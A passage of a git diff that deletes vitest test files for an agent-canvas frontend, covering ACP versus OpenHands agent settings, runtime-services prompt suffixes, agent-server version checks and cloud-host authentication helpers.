expect(result.agent_kind).toBe("openhands"); - expect(result.llm_model).toBe("claude-sonnet-4-6"); - }); - - it("marks ACP conversations and surfaces the configured acp_model", () => { - // The SDK's ACPAgent may still carry a sentinel ``llm`` (``acp-managed``) - // for cost-attribution. Consumers should see the concrete ACP model Canvas - // configured, while SwitchProfileButton remains gated by agent_kind. - const result = toAppConversation({ - ...baseInfo, - agent: { - kind: "ACPAgent", - acp_model: "claude-sonnet-4-6", - llm: { model: "acp-managed" }, - }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.llm_model).toBe("claude-sonnet-4-6"); - }); - - it("prefers ACP runtime model fields over configured acp_model", () => { - const result = toAppConversation({ - ...baseInfo, - current_model_id: "claude-sonnet-4-6", - current_model_name: "Claude Sonnet 4.6", - agent: { - kind: "ACPAgent", - acp_model: "claude-opus-4-7", - llm: { model: "acp-managed" }, - }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.llm_model).toBe("Claude Sonnet 4.6"); - }); - - it("surfaces the runtime ACP default model over a configured acp_model", () => { - // claude-agent-acp 0.44+ exposes ``default`` ("Default (recommended)") - // as a real, selectable model in its configOptions select. The runtime - // ``current_model_*`` fields take precedence over the configured - // ``acp_model``, so a session actually running on ``default`` must - // surface that on the chip instead of the stale configured value. - const result = toAppConversation({ - ...baseInfo, - current_model_id: "default", - current_model_name: "Default (recommended)", - agent: { - kind: "ACPAgent", - acp_model: "claude-sonnet-4-6", - llm: { model: "acp-managed" }, - }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.llm_model).toBe("Default (recommended)"); - }); - - it("falls back to a non-sentinel ACP llm.model for SDKs that mirror acp_model there", () => { - const result = toAppConversation({ - ...baseInfo, - agent: { kind: "ACPAgent", llm: { model: "claude-sonnet-4-6" } }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.llm_model).toBe("claude-sonnet-4-6"); - }); - - it("surfaces ACP default model surfaced via the configured acp_model", () => { - // ``default`` / ``Default (recommended)`` is a real claude-agent-acp - // model id (not an SDK placeholder), so it must surface like any other - // configured model. - const result = toAppConversation({ - ...baseInfo, - agent: { - kind: "ACPAgent", - acp_model: "Default (recommended)", - llm: { model: "acp-managed" }, - }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.llm_model).toBe("Default (recommended)"); - }); - - it("surfaces ACP default model surfaced via agent.llm.model", () => { - // Same as above, one rung lower in the precedence chain: ``default`` is - // a real model id and should surface as-is. - const result = toAppConversation({ - ...baseInfo, - agent: { kind: "ACPAgent", llm: { model: "default" } }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.llm_model).toBe("default"); - }); - - it("surfaces acp_server from tags.acpserver for ACP conversations", () => { - // The ``acpserver`` conversation tag is stamped at create time - // (``buildStartConversationRequest``) but never previously plumbed - // through on read — the sidebar chip in agent-canvas#405 needs this - // value to resolve the human display name ("Claude Code" / "Codex" / - // "Gemini CLI"). - const result = toAppConversation({ - ...baseInfo, - agent: { kind: "ACPAgent", llm: { model: "acp-managed" } }, - tags: { [ACP_SERVER_TAG_KEY]: "claude-code" }, - }); - expect(result.acp_server).toBe("claude-code"); - }); - - it("leaves acp_server null when an ACP conversation has no tag stamped", () => { - // Older conversations created before the tag was added, or ACP - // conversations created via the raw API, won't have the tag. The - // sidebar should still render a chip ("ACP") — but the resolver gets - // null here and the UI fallback handles the generic label. - const result = toAppConversation({ - ...baseInfo, - agent: { kind: "ACPAgent", llm: { model: "acp-managed" } }, - }); - expect(result.agent_kind).toBe("acp"); - expect(result.acp_server).toBeNull(); - }); - - it("ignores tags.acpserver on OpenHands conversations to prevent stray-tag bleed", () => { - // The agent-server's pydantic model doesn't enforce that ``acpserver`` - // is only stamped on ACP conversations. Defensively gating on - // ``agent.kind === "ACPAgent"`` keeps a misconfigured tag from - // turning the sidebar of an OpenHands conversation into "Claude - // Code". Pairs with the ``llm_model`` null-out for ACP. - const result = toAppConversation({ - ...baseInfo, - agent: { kind: "Agent", llm: { model: "claude-sonnet-4-6" } }, - tags: { [ACP_SERVER_TAG_KEY]: "claude-code" }, - }); - expect(result.agent_kind).toBe("openhands"); - expect(result.acp_server).toBeNull(); - }); -}); - -describe("buildRuntimeServicesSystemSuffix", () => { - afterEach(() => { - vi.unstubAllEnvs(); - delete (window as unknown as Record) - .__AGENT_CANVAS_RUNTIME_SERVICES_INFO__; - }); - - it("returns undefined when VITE_RUNTIME_SERVICES_INFO is unset", () => { - expect(buildRuntimeServicesSystemSuffix()).toBeUndefined(); - }); - - it("returns undefined when the env var is malformed JSON", () => { - vi.stubEnv("VITE_RUNTIME_SERVICES_INFO", "{not valid json"); - expect(buildRuntimeServicesSystemSuffix()).toBeUndefined(); - }); - - it("returns undefined when the JSON has no services", () => { - vi.stubEnv("VITE_RUNTIME_SERVICES_INFO", JSON.stringify({ mode: "x" })); - expect(buildRuntimeServicesSystemSuffix()).toBeUndefined(); - }); - - it("renders a block when an automation entry is present", () => { - vi.stubEnv( - "VITE_RUNTIME_SERVICES_INFO", - JSON.stringify({ - mode: "dev:automation", - agent_host_alias: "localhost", - services: { - agent_server: { - description: "self", - url_from_agent: "http://localhost:18000", - }, - automation: { - description: "automations", - url_from_agent: "http://localhost:18001", - api_prefix: "/api/automation", - docs_url: "http://localhost:18001/api/automation/docs", - openapi_url: "http://localhost:18001/api/automation/openapi.json", - auth_env_var: "OPENHANDS_AUTOMATION_API_KEY", - }, - }, - }), - ); - const suffix = buildRuntimeServicesSystemSuffix(); - expect(suffix).toBeDefined(); - expect(suffix).toContain(""); - expect(suffix).toContain("dev:automation"); - expect(suffix).toContain("http://localhost:18000"); - expect(suffix).toContain("http://localhost:18001"); - expect(suffix).toContain("http://localhost:18001/api/automation/docs"); - expect(suffix).toContain( - "X-Session-API-Key: $OPENHANDS_AUTOMATION_API_KEY", - ); - expect(suffix).not.toContain("X-API-Key: $OPENHANDS_AUTOMATION_API_KEY"); - expect(suffix).toContain(""); - // The "don't guess" line should reference the actual agent-server URL - // for this stack, not a hardcoded port. The assertion anchors on the URL - // we supplied above. - expect(suffix).toContain( - "In particular, http://localhost:18000 inside your sandbox is the Agent Server", - ); - }); - - it("uses the configured agent-server URL in the don't-guess line (not a hardcoded :8000)", () => { - // dev:safe runs the agent-server on :18000, not :8000. Make sure the - // rendered block doesn't lie to the agent about its own URL. - vi.stubEnv( - "VITE_RUNTIME_SERVICES_INFO", - JSON.stringify({ - mode: "dev:safe", - services: { - agent_server: { url_from_agent: "http://localhost:18000" }, - }, - }), - ); - const suffix = buildRuntimeServicesSystemSuffix(); - expect(suffix).toBeDefined(); - expect(suffix).toContain( - "In particular, http://localhost:18000 inside your sandbox is the Agent Server", - ); - expect(suffix).not.toContain( - "In particular, http://localhost:8000 inside your sandbox", - ); - }); - - it("renders the frontend entry with the new key", () => { - vi.stubEnv( - "VITE_RUNTIME_SERVICES_INFO", - JSON.stringify({ - mode: "dev:static", - services: { - agent_server: { url_from_agent: "http://localhost:18000" }, - frontend: { - kind: "static", - description: "Static-file server hosting the agent-canvas build.", - url_from_agent: "http://localhost:3001", - }, - }, - }), - ); - const suffix = buildRuntimeServicesSystemSuffix(); - expect(suffix).toContain("* Frontend: http://localhost:3001"); - expect(suffix).toContain("Static-file server"); - // Should NOT mislabel a static-build frontend as "Vite frontend". - expect(suffix).not.toContain("Vite frontend"); - }); - - it("explicitly mentions when automation is absent", () => { - vi.stubEnv( - "VITE_RUNTIME_SERVICES_INFO", - JSON.stringify({ - mode: "dev:safe", - services: { - agent_server: { url_from_agent: "http://localhost:18000" }, - }, - }), - ); - const suffix = buildRuntimeServicesSystemSuffix(); - expect(suffix).toBeDefined(); - expect(suffix).toContain("Automation backend: not running"); - }); - - it("falls back to window.__AGENT_CANVAS_RUNTIME_SERVICES_INFO__ when the env var is unset (static builds)", () => { - // Static builds (Docker image / published binary) have no - // VITE_RUNTIME_SERVICES_INFO baked in; scripts/static-server.mjs injects - // the JSON onto window at serve time instead. - ( - window as unknown as Record - ).__AGENT_CANVAS_RUNTIME_SERVICES_INFO__ = JSON.stringify({ - mode: "docker", - services: { - agent_server: { url_from_agent: "http://127.0.0.1:18000" }, - automation: { - url_from_agent: "http://127.0.0.1:8000", - api_prefix: "/api/automation", - auth_env_var: "OPENHANDS_AUTOMATION_API_KEY", - }, - }, - }); - const suffix = buildRuntimeServicesSystemSuffix(); - expect(suffix).toBeDefined(); - expect(suffix).toContain(""); - expect(suffix).toContain("docker"); - expect(suffix).toContain("http://127.0.0.1:18000"); - expect(suffix).toContain("http://127.0.0.1:8000"); - expect(suffix).toContain( - "X-Session-API-Key: $OPENHANDS_AUTOMATION_API_KEY", - ); - }); - - it("prefers VITE_RUNTIME_SERVICES_INFO over the window fallback", () => { - vi.stubEnv( - "VITE_RUNTIME_SERVICES_INFO", - JSON.stringify({ - mode: "dev:env", - services: { - agent_server: { url_from_agent: "http://localhost:18000" }, - }, - }), - ); - ( - window as unknown as Record - ).__AGENT_CANVAS_RUNTIME_SERVICES_INFO__ = JSON.stringify({ - mode: "docker:window", - services: { - agent_server: { url_from_agent: "http://127.0.0.1:99999" }, - }, - }); - const suffix = buildRuntimeServicesSystemSuffix(); - expect(suffix).toContain("dev:env"); - expect(suffix).not.toContain("docker:window"); - expect(suffix).not.toContain("99999"); - }); -}); - -describe("agent_settings runtime services suffix", () => { - afterEach(() => { - vi.unstubAllEnvs(); - }); - - it("does not set system_message_suffix when no runtime info is provided", () => { - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - query: "hello", - }) as { - agent_settings: { agent_context: Record }; - }; - expect(payload.agent_settings.agent_context).toMatchObject({ - load_public_skills: false, - load_user_skills: true, - load_project_skills: true, - }); - expect(Array.isArray(payload.agent_settings.agent_context.skills)).toBe( - true, - ); - }); - - it("sets system_message_suffix when runtime info is provided", () => { - vi.stubEnv( - "VITE_RUNTIME_SERVICES_INFO", - JSON.stringify({ - mode: "dev:automation", - services: { - agent_server: { url_from_agent: "http://localhost:18000" }, - automation: { - url_from_agent: "http://localhost:18001", - }, - }, - }), - ); - const payload = buildStartConversationRequest({ - settings: DEFAULT_SETTINGS, - query: "hello", - }) as { - agent_settings: { agent_context: Record }; - }; - expect(payload.agent_settings.agent_context).toMatchObject({ - load_public_skills: false, - load_user_skills: true, - }); - expect( - payload.agent_settings.agent_context.system_message_suffix as string, - ).toContain(""); - }); -}); - -describe("buildStartConversationRequest — ACP discriminator", () => { - it("builds ACP agent settings when agent_kind is 'acp'", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: "claude-opus-4-5", - // These fields are LLM-only and must NOT leak into ACP settings. - // (mcp_config is handled separately — it IS forwarded for ACP; see - // the dedicated tests below.) - agent: "CodeActAgent", - llm: { model: "gpt-4", api_key: "should-not-appear" }, - condenser: { enabled: true, max_size: 240 }, - }, - }, - }) as { - agent?: unknown; - agent_settings: Record & { - acp_command?: string[]; - acp_model?: string | null; - agent_context?: unknown; - }; - tags?: Record; - }; - - expect(payload.agent).toBeUndefined(); - expect(payload.agent_settings.agent_kind).toBe("acp"); - expect(payload.agent_settings.acp_command).toEqual([ - "npx", - "-y", - "@agentclientprotocol/claude-agent-acp@0.44.0", - ]); - expect(payload.agent_settings.acp_model).toBe("claude-opus-4-5"); - // LLM-only fields must not leak into the ACP settings payload. - expect(payload.agent_settings.llm).toBeUndefined(); - expect(payload.agent_settings.condenser).toBeUndefined(); - expect(payload.agent_settings.tools).toBeUndefined(); - const acpAgentContext = payload.agent_settings.agent_context as Record< - string, - unknown - >; - expect(acpAgentContext).toMatchObject({ - load_public_skills: false, - load_user_skills: true, - load_project_skills: true, - }); - expect(Array.isArray(acpAgentContext.skills)).toBe(true); - expect(payload.tags).toEqual({ [ACP_SERVER_TAG_KEY]: "claude-code" }); - }); - - it("forwards mcp_config to the ACP subprocess when servers are configured", () => { - // mcp_config is a shared field: the SDK's ACPAgent forwards these servers - // to the ACP subprocess at session creation, so the start payload must - // carry it (it is intentionally NOT one of the stripped ACP-only fields). - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - mcp_config: { - fetch: { command: "uvx", args: ["mcp-server-fetch"] }, - }, - }, - }, - }) as { agent_settings: { mcp_config?: unknown } }; - - expect(payload.agent_settings.mcp_config).toEqual({ - fetch: { command: "uvx", args: ["mcp-server-fetch"] }, - }); - }); - - it("omits mcp_config from the ACP payload when it carries no servers", () => { - // An empty / serverless mcp_config must not be sent as ``mcp_config: {}``. - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - mcp_config: {}, - }, - }, - }) as { agent_settings: { mcp_config?: unknown } }; - - expect(payload.agent_settings.mcp_config).toBeUndefined(); - }); - - it("does not include ACP-only fields in OpenHands agent settings", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - ...DEFAULT_SETTINGS.agent_settings, - agent_kind: "openhands", - llm: { model: "gpt-4" }, - acp_command: ["npx", "leftover"], - acp_server: "claude-code", - }, - }, - }) as { - agent?: unknown; - agent_settings: Record & { - llm: Record; - }; - tags?: Record; - }; - - expect(payload.agent).toBeUndefined(); - expect(payload.agent_settings.agent_kind).toBe("openhands"); - expect(payload.agent_settings.acp_command).toBeUndefined(); - expect(payload.agent_settings.acp_server).toBeUndefined(); - expect(payload.agent_settings.llm.model).toBe("gpt-4"); - expect(payload.tags).toBeUndefined(); - }); - - it("omits acp_model when the user clears it (null)", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "custom", - acp_command: ["./bin/my-agent"], - acp_model: null, - }, - }, - }) as { agent_settings: Record }; - - expect(payload.agent_settings.agent_kind).toBe("acp"); - expect(payload.agent_settings.acp_model).toBeUndefined(); - }); - - it("falls back to the preferred (Vertex-safe) default for a null Gemini acp_model", () => { - // The start-request fallback is the third default-model surface (after - // onboarding and Settings → Agent) — all three must substitute the same - // Vertex-safe model, or a saved ``null`` would silently run gemini-cli's - // 404-prone default on Vertex (software-agent-sdk#3532). - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "gemini-cli", - acp_model: null, - }, - }, - }) as { agent_settings: Record }; - - expect(payload.agent_settings.acp_model).toBe(ACP_VERTEX_SAFE_MODEL); - }); - - it("resolves an empty acp_command from the registry by acp_server", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: null, - }, - }, - }) as { - agent_settings: Record & { acp_command?: unknown[] }; - }; - - expect(payload.agent_settings.acp_command).toEqual([ - "npx", - "-y", - "@agentclientprotocol/claude-agent-acp@0.44.0", - ]); - }); - - it("resolves an absent acp_command for built-in providers too", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "codex", - acp_model: null, - }, - }, - }) as { - agent_settings: Record & { acp_command?: unknown[] }; - }; - - expect(payload.agent_settings.acp_command).toEqual([ - "npx", - "-y", - "@agentclientprotocol/codex-acp@1.1.2", - ]); - }); - - it("leaves acp_command alone when acp_server is 'custom'", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "custom", - acp_command: [], - acp_model: null, - }, - }, - }) as { - agent_settings: Record & { acp_command?: unknown[] }; - }; - - expect(payload.agent_settings.acp_command).toEqual([]); - }); - - it("leaves acp_command alone for an unknown acp_server key", () => { - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "future-provider-not-yet-mirrored", - acp_command: [], - acp_model: null, - }, - }, - }) as { - agent_settings: Record & { acp_command?: unknown[] }; - }; - - expect(payload.agent_settings.acp_command).toEqual([]); - }); - - it("seeds the provider default when settings contains an empty acp_model", () => { - // The form may carry an empty string after a user clears the model - // input. Older behavior left ``acp_model`` absent and relied on the - // agent-server's own default; the registry-default path - // (resolveEffectiveAcpModel) is now authoritative on Canvas's side, - // so an empty string resolves to the provider's ``default_model`` - // before the request leaves the client. Keeps the displayed Settings - // → Agent default in sync with what the runtime actually starts. - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: "", - }, - }, - }) as { - agent_settings: Record & { acp_model?: unknown }; - }; - - expect(payload.agent_settings.acp_model).toBe("opus[1m]"); - }); - - it("omits acp_model for the custom preset when none is configured", () => { - // The Custom preset has no registered ``default_model``, so an empty - // ``acp_model`` falls through to ``undefined`` — the agent-server then - // applies its own default. Distinct from the built-in providers - // which substitute their registry default. - const payload = buildStartConversationRequest({ - settings: { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "custom", - acp_command: ["my-custom-acp"], - acp_model: "", - }, - }, - }) as { - agent_settings: Record & { acp_model?: unknown }; - }; - - expect(payload.agent_settings.acp_model).toBeUndefined(); - }); - - it("ACP → OpenHands → ACP round trip leaves no field leakage", () => { - const baseAcpSettings = { - ...DEFAULT_SETTINGS, - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - // Legacy persisted value: provider creds no longer ride acp_env — - // they flow through the Secrets panel (request.secrets). A stale - // acp_env left on saved settings must be dropped, not forwarded. - acp_env: { ANTHROPIC_API_KEY: "user-set-via-api" }, - acp_model: "claude-opus-4-5", - agent: "CodeActAgent", - llm: { model: "gpt-4o", api_key: "stale-from-prior-oh-run" }, - condenser: { enabled: true, max_size: 200 }, - }, - }; - - const ohPayload = buildStartConversationRequest({ - settings: { - ...baseAcpSettings, - agent_settings: { - ...baseAcpSettings.agent_settings, - agent_kind: "openhands", - }, - }, - }) as { - agent_settings: Record & { - llm: Record; - }; - }; - - expect(ohPayload.agent_settings.agent_kind).toBe("openhands"); - expect(ohPayload.agent_settings.acp_command).toBeUndefined(); - expect(ohPayload.agent_settings.acp_env).toBeUndefined(); - expect(ohPayload.agent_settings.acp_model).toBeUndefined(); - expect(ohPayload.agent_settings.acp_server).toBeUndefined(); - expect(ohPayload.agent_settings.llm.model).toBe("gpt-4o"); - - const acpPayload = buildStartConversationRequest({ - settings: baseAcpSettings, - }) as { - agent_settings: Record & { - acp_command?: unknown; - acp_env?: unknown; - acp_model?: unknown; - llm?: unknown; - condenser?: unknown; - }; - }; - - expect(acpPayload.agent_settings.agent_kind).toBe("acp"); - expect(acpPayload.agent_settings.acp_command).toEqual([ - "npx", - "-y", - "@agentclientprotocol/claude-agent-acp@0.44.0", - ]); - expect(acpPayload.agent_settings.acp_model).toBe("claude-opus-4-5"); - // acp_env is no longer a forwarded ACP setting — a stale value on saved - // settings is dropped rather than leaked into the conversation request. - expect(acpPayload.agent_settings.acp_env).toBeUndefined(); - expect(acpPayload.agent_settings.llm).toBeUndefined(); - expect(acpPayload.agent_settings.condenser).toBeUndefined(); - }); -}); diff --git a/__tests__/api/agent-server-compatibility-bundled-pin.test.ts b/__tests__/api/agent-server-compatibility-bundled-pin.test.ts deleted file mode 100644 index 9043ccce9..000000000 --- a/__tests__/api/agent-server-compatibility-bundled-pin.test.ts +++ /dev/null @@ -1,121 +0,0 @@ -import { ServerClient } from "@openhands/typescript-client/clients"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { - AgentServerUnavailableError, - AgentServerUnknownVersionError, - AgentServerUnsupportedVersionError, - loadAgentServerInfo, - MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, -} from "#/api/agent-server-compatibility"; - -const { getServerInfoMock } = vi.hoisted(() => ({ - getServerInfoMock: vi.fn(), -})); - -vi.mock("@openhands/typescript-client/clients", () => ({ - ServerClient: vi.fn(function ServerClientMock() { - return { - getServerInfo: getServerInfoMock, - }; - }), - SettingsClient: vi.fn(function SettingsClientMock() { - return { - getSettings: vi.fn(), - }; - }), -})); - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const localBackend: Backend = { - id: "local", - name: "Local", - host: "http://localhost:9000", - apiKey: "local-key", - kind: "local", -}; - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - getServerInfoMock.mockReset(); - vi.mocked(ServerClient).mockClear(); - getServerInfoMock.mockResolvedValue({ - version: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("loadAgentServerInfo", () => { - it("returns server info when the local backend reports the minimum compatible version", async () => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - - const result = await loadAgentServerInfo(); - - expect(result).toMatchObject({ - version: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }); - expect(ServerClient).toHaveBeenCalled(); - }); - - it("throws AgentServerUnsupportedVersionError when the local backend is too old", async () => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - getServerInfoMock.mockResolvedValue({ version: "1.27.1" }); - - await expect(loadAgentServerInfo()).rejects.toMatchObject({ - name: AgentServerUnsupportedVersionError.name, - actualVersion: "1.27.1", - requiredVersion: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }); - }); - - it("throws AgentServerUnknownVersionError when the local backend omits its version", async () => { - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - getServerInfoMock.mockResolvedValue({}); - - await expect(loadAgentServerInfo()).rejects.toMatchObject({ - name: AgentServerUnknownVersionError.name, - actualVersion: null, - requiredVersion: MINIMUM_COMPATIBLE_AGENT_SERVER_VERSION, - }); - }); - - it("does not borrow a registered local backend when the active backend is cloud", async () => { - setRegisteredBackends([localBackend, cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - const result = await loadAgentServerInfo(); - - expect(result).toBeNull(); - expect(ServerClient).not.toHaveBeenCalled(); - }); - - it("throws AgentServerUnavailableError when the registry is empty", async () => { - // Empty registry — no backends at all (frontend-only with no config). - setRegisteredBackends([]); - - await expect(loadAgentServerInfo()).rejects.toThrow( - AgentServerUnavailableError, - ); - expect(ServerClient).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/api/agent-server-config.test.ts b/__tests__/api/agent-server-config.test.ts deleted file mode 100644 index 21a3b7fd3..000000000 --- a/__tests__/api/agent-server-config.test.ts +++ /dev/null @@ -1,304 +0,0 @@ -import { afterEach, describe, expect, it, vi } from "vitest"; -import { - DEFAULT_WORKING_DIR, - buildConversationWorkingDir, - getAgentServerBaseUrl, - getAgentServerFormDefaults, - getAgentServerSessionApiKey, - getAgentServerWorkingDir, - getCookieAuthCloudHost, - getLockedCloudAuthMode, - getLockedCloudHost, - isAuthRequired, - isSameCloudHost, - isAuthRequiredAndMissing, -} from "#/api/agent-server-config"; - -const ORIGINAL_LOCATION = window.location; - -function mockWindowLocation(url: string) { - Object.defineProperty(window, "location", { - configurable: true, - value: new URL(url), - }); -} - -afterEach(() => { - window.localStorage.clear(); - vi.unstubAllEnvs(); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - Object.defineProperty(window, "location", { - configurable: true, - value: ORIGINAL_LOCATION, - }); -}); - -describe("agent server config", () => { - it("uses VITE_BACKEND_BASE_URL when it is provided", () => { - mockWindowLocation("https://work-1.example.dev/settings"); - vi.stubEnv("VITE_BACKEND_BASE_URL", "https://agent.example.com/"); - - expect(getAgentServerBaseUrl()).toBe("https://agent.example.com"); - }); - - it("uses the browser origin when no backend URL is configured", () => { - mockWindowLocation("https://work-1.example.dev/settings"); - - expect(getAgentServerBaseUrl()).toBe("https://work-1.example.dev"); - }); - - it("does not rewrite localhost backend URLs to the browser origin", () => { - mockWindowLocation("https://work-1.example.dev/settings"); - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://127.0.0.1:8000"); - - expect(getAgentServerBaseUrl()).toBe("http://127.0.0.1:8000"); - }); - - it("prefills the settings form from environment defaults", () => { - vi.stubEnv("VITE_BACKEND_BASE_URL", "https://env-agent.example.com/"); - vi.stubEnv("VITE_SESSION_API_KEY", "env-session-key"); - - expect(getAgentServerFormDefaults()).toEqual({ - baseUrl: "https://env-agent.example.com", - sessionApiKey: "env-session-key", - }); - expect(getAgentServerSessionApiKey()).toBe("env-session-key"); - }); - - it("defaults the working dir to the relative workspace path", () => { - expect(getAgentServerWorkingDir()).toBe(DEFAULT_WORKING_DIR); - }); - - it("nests each conversation's working dir under the configured base using the hex id", () => { - vi.stubEnv("VITE_WORKING_DIR", "/srv/workspaces/"); - - expect( - buildConversationWorkingDir("4a8dca37-3bf0-48de-a0af-949d711c3d48"), - ).toBe("/srv/workspaces/4a8dca373bf048dea0af949d711c3d48"); - }); -}); - -function setInjectedCloudHost(value: unknown) { - ( - window as unknown as Record - ).__AGENT_CANVAS_LOCK_TO_CLOUD__ = value; -} - -describe("getLockedCloudHost", () => { - it("returns null when no Cloud lock is configured", () => { - expect(getLockedCloudHost()).toBeNull(); - }); - - it("uses VITE_LOCK_TO_CLOUD when it is provided", () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://cloud.example.com/"); - setInjectedCloudHost("https://runtime.example.com"); - - expect(getLockedCloudHost()).toBe("https://cloud.example.com"); - }); - - it("falls back to the runtime-injected Cloud URL", () => { - setInjectedCloudHost("https://runtime.example.com/"); - - expect(getLockedCloudHost()).toBe("https://runtime.example.com"); - }); - - it("adds https:// to hostnames without an explicit scheme", () => { - setInjectedCloudHost("cloud.example.com/"); - - expect(getLockedCloudHost()).toBe("https://cloud.example.com"); - }); - - it("ignores blank and non-string runtime values", () => { - setInjectedCloudHost(" "); - expect(getLockedCloudHost()).toBeNull(); - - setInjectedCloudHost(12345); - expect(getLockedCloudHost()).toBeNull(); - }); -}); - -describe("isSameCloudHost", () => { - it.each([ - ["https://staging.openhands.dev", "https://staging.all-hands.dev"], - [ - "https://pr-254.staging.openhands.dev", - "https://pr-254.staging.all-hands.dev", - ], - ["https://openhands.dev", "https://app.all-hands.dev"], - ])("treats transition domains as equivalent (%s, %s)", (a, b) => { - expect(isSameCloudHost(a, b)).toBe(true); - expect(isSameCloudHost(b, a)).toBe(true); - }); - - it("does not treat different preview numbers as equivalent", () => { - expect( - isSameCloudHost( - "https://pr-254.staging.openhands.dev", - "https://pr-255.staging.all-hands.dev", - ), - ).toBe(false); - }); -}); - -describe("getLockedCloudAuthMode", () => { - it("uses cookie auth when the locked Cloud host matches the current origin", () => { - mockWindowLocation("https://app.all-hands.dev/canvas"); - setInjectedCloudHost("https://app.all-hands.dev"); - - expect(getLockedCloudAuthMode()).toBe("cookie"); - }); - - it("uses cookie auth for equivalent openhands.dev and all-hands.dev preview hosts", () => { - mockWindowLocation("https://pr-254.staging.openhands.dev/canvas"); - setInjectedCloudHost("https://pr-254.staging.all-hands.dev"); - - expect(getLockedCloudAuthMode()).toBe("cookie"); - expect(getCookieAuthCloudHost()).toBe( - "https://pr-254.staging.openhands.dev", - ); - }); - - it("uses cookie auth when production moves from app.all-hands.dev to openhands.dev", () => { - mockWindowLocation("https://openhands.dev/canvas"); - setInjectedCloudHost("https://app.all-hands.dev"); - - expect(getLockedCloudAuthMode()).toBe("cookie"); - expect(getCookieAuthCloudHost()).toBe("https://openhands.dev"); - }); - - it("uses API-key auth when the locked Cloud host is cross-origin", () => { - mockWindowLocation("https://canvas.example.dev/"); - setInjectedCloudHost("https://app.all-hands.dev"); - - expect(getLockedCloudAuthMode()).toBe("api-key"); - }); -}); - -describe("isAuthRequired", () => { - afterEach(() => { - delete (window as unknown as Record) - .__AGENT_CANVAS_AUTH_REQUIRED__; - }); - - it("returns false when neither env var nor window flag is set", () => { - expect(isAuthRequired()).toBe(false); - }); - - it("returns true when VITE_AUTH_REQUIRED is 'true'", () => { - vi.stubEnv("VITE_AUTH_REQUIRED", "true"); - expect(isAuthRequired()).toBe(true); - }); - - it("returns true when window.__AGENT_CANVAS_AUTH_REQUIRED__ is set", () => { - ( - window as unknown as Record - ).__AGENT_CANVAS_AUTH_REQUIRED__ = true; - expect(isAuthRequired()).toBe(true); - }); - - it("returns false when window flag is a non-true value", () => { - ( - window as unknown as Record - ).__AGENT_CANVAS_AUTH_REQUIRED__ = "true"; - expect(isAuthRequired()).toBe(false); - }); -}); - -describe("isAuthRequiredAndMissing", () => { - afterEach(() => { - delete (window as unknown as Record) - .__AGENT_CANVAS_AUTH_REQUIRED__; - }); - - it("returns false when VITE_AUTH_REQUIRED is not set", () => { - expect(isAuthRequiredAndMissing()).toBe(false); - }); - - it("returns true when VITE_AUTH_REQUIRED is true and no key is baked in", () => { - vi.stubEnv("VITE_AUTH_REQUIRED", "true"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - - 